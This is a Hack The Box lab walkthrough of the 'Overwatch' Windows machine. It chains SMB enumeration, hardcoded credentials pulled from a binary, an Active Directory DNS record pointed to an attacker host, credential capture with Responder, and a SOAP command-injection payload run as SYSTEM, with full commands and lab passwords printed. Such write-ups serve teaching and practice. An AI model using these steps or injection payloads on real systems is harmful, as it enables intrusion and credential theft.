

HTB Overwatch – Windows Medium Machine

Martina Giacobbe

1 Reconnaissance

1.1 Nmap Scan

PORT	STATE	SERVICE	VERSION
53/tcp	open	tcpwrapped	
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP
445/tcp	open	microsoft-ds?	
464/tcp	open	kpasswd5?	
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP
3269/tcp	open	tcpwrapped	
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0
6520/tcp	open	ms-sql-s	Microsoft SQL Server 2022

The scan clearly identifies a Windows Active Directory environment. The presence of Kerberos (88), LDAP (389/3268), SMB (445), and MSSQL (6520) strongly suggests a domain-joined host. From an attack surface perspective, the most relevant services are SMB, LDAP, Kerberos, and MSSQL.

1.2 SMB Enumeration

Initial enumeration is performed using NetExec:

```
$ nxc smb ip_addr
$ nxc smb ip_addr --shares
```

Unauthenticated enumeration fails due to session restrictions, which is common in hardened environments. However, anonymous authentication is allowed:

```
$ nxc smb ip_addr -u 'anonymous' -p '' --shares
```

This reveals a non-standard share:

```
software$      READ
```

Non-default shares often represent custom application deployments and are frequent entry points.

A deeper recursive enumeration is performed:

```
$ nxc smb overwatch.htb -u 'anonymous' -p '' --shares -M spider_plus
```

Relevant files include:

```
Monitoring/overwatch.exe  
Monitoring/overwatch.exe.config
```

1.3 Reverse Engineering

The binary is downloaded:

```
$ smbclient //10.129.33.176/software$  
smb: \Monitoring\> get overwatch.exe
```

Static analysis is performed using `strings`:

```
$ strings -el overwatch.exe
```

The `-el` flag is required due to UTF-16 encoding used in Windows binaries. Hardcoded credentials are extracted:

```
Server=localhost;Database=SecurityLogs;  
User Id=sqlsvc;Password=TIOLKcfHzZw1Vv;
```

This represents a typical case of insecure credential storage.

1.4 Credential Reuse and Service Enumeration

The credentials are validated across services:

```
$ nxc smb overwatch.htb -u 'sqlsvc' -p 'TIOLKcfHzZw1Vv'
```

SMB access fails, but LDAP authentication succeeds:

```
$ nxc ldap overwatch.htb -u 'sqlsvc' -p 'TIOLKcfHzZw1Vv'
```

This highlights an important principle: credentials may be valid even if the service is incorrect.

1.5 LDAP Enumeration

LDAP is used to enumerate domain users:

```
$ ldapsearch -x -H ldap://10.129.33.176 \  
-D 'sqlsvc@overwatch.htb' -w 'TIOLKcfHzZw1Vv' \  
-b 'DC=overwatch,DC=htb' 'ObjectClass=Person'
```

LDAP provides rich metadata, including timestamps such as `whenChanged` and `lastLogon`. These attributes are useful for identifying active or recently modified accounts.

A notable user is identified:

```
cn: sqlmgmt  
memberOf: CN=REMOTE MANAGEMENT USERS
```

Membership in Remote Management Users suggests WinRM access.

1.6 MSSQL Enumeration

The MSSQL service is tested:

```
$ nxc mssql overwatch.htb -u sqlsvc -p TIOLKcfHzZw1Vv --port 6520
```

Privilege check:

```
SELECT IS_SRVROLEMEMBER('sysadmin');
```

The user is not a sysadmin, so direct RCE is not possible. Enumeration of linked servers is performed:

```
$ nxc mssql ... -M enum_links
```

A remote server SQL07 is referenced but unreachable.

1.7 DNS Spoofing Attack

The absence of DNS records is verified:

```
$ nslookup SQL07.overwatch.htb <domain_ip>
```

Since authenticated users can create DNS records in Active Directory, this can be abused:

```
$ python3 dnstool.py -u 'overwatch\sqlsvc' -p TIOLKcfHzZw1Vv \  
-r SQL07.overwatch.htb -a add -t A --data <attacker_ip> <domain_ip>
```

This creates a malicious DNS record pointing to the attacker.

Verification:

```
$ nslookup SQL07.overwatch.htb <domain_ip>
```

Now the attacker controls the resolution of SQL07.

1.8 Credential Capture via MSSQL

Responder is started:

```
$ sudo responder -I tun0 -A
```

Triggering the linked server:

```
$ nxc mssql ... -M exec_on_link \  
-o LINKED_SERVER='SQL07' COMMAND='select 1'
```

Credentials are captured:

```
Username: sqlmgmt  
Password: bIhBbzMMnB82yx
```

1.9 Initial Access

Access via WinRM:

```
$ evil-winrm-py -i 10.129.34.143 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
```

User-level access is obtained.

2 Privilege Escalation

2.1 Privilege Enumeration

```
$ whoami /priv
```

No immediately exploitable privileges (e.g., SeImpersonatePrivilege) are present.

Group membership is checked:

```
$ whoami /groups
```

No privileged groups are identified.

2.1.1 Process Enumeration

```
$ ps  
$ netstat -ano -p tcp
```

A service running on port 8000 with SYSTEM privileges is identified. This is likely the Overwatch monitoring service.

2.2 Service Interaction

Internal HTTP access:

```
$ iwr -uri http://127.0.0.1:8000
```

SOAP endpoint discovered:

```
http://127.0.0.1:8000/MonitorService?wsdl
```

SOAP (Simple Object Access Protocol) exposes structured APIs described via WSDL. These services are often susceptible to injection if input validation is weak.

2.3 Reverse Engineering the Service

The binary is analyzed:

```
$ ilspycmd overwatch.exe
```

The interface `IMonitorService` exposes:

```
KillProcess(string processName)
```

Implementation:

```
string text = "Stop-Process -name" + processName + " -Force";
```

This is a classic command injection vulnerability, as user input is concatenated into a PowerShell command without sanitization.

3 Exploitation

Injection payload:

```
processName = "a; whoami #"
```

Crafted SOAP request:

```
$uri = "http://127.0.0.1:8000/MonitorService"
```

```
$headers = @{
```

```
    "Content-Type" = "text/xml; charset=utf-8"
```

```
    "SOAPAction"   = "http://tempuri.org/IMonitoringService/KillProcess"
```

```
}
```

```
$body = @"
```

```
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>
        notepad;type C:\Users\Administrator\Desktop\root.txt
      </processName>
    </KillProcess>
  </soap:Body>
</soap:Envelope>
"@
```

```
Invoke-WebRequest -Uri $uri -Method POST -Headers $headers -Body $body
```

3.1 Final Outcome

The injected command executes with SYSTEM privileges, allowing retrieval of:

```
C:\Users\Administrator\Desktop\root.txt
```

This completes the privilege escalation phase.

4 Key Takeaways

This machine demonstrates several important offensive concepts. First, credential exposure in binaries is a frequent real-world issue. Second, Active Directory misconfigurations, such as DNS record creation, enable lateral movement and spoofing attacks. Third, linked MSSQL servers can be leveraged to coerce authentication. Finally, insecure SOAP services combined with improper input sanitization can lead to full system compromise.

The attack chain is a clear example of multi-stage exploitation combining enumeration, credential reuse, AD abuse, and application-layer vulnerabilities.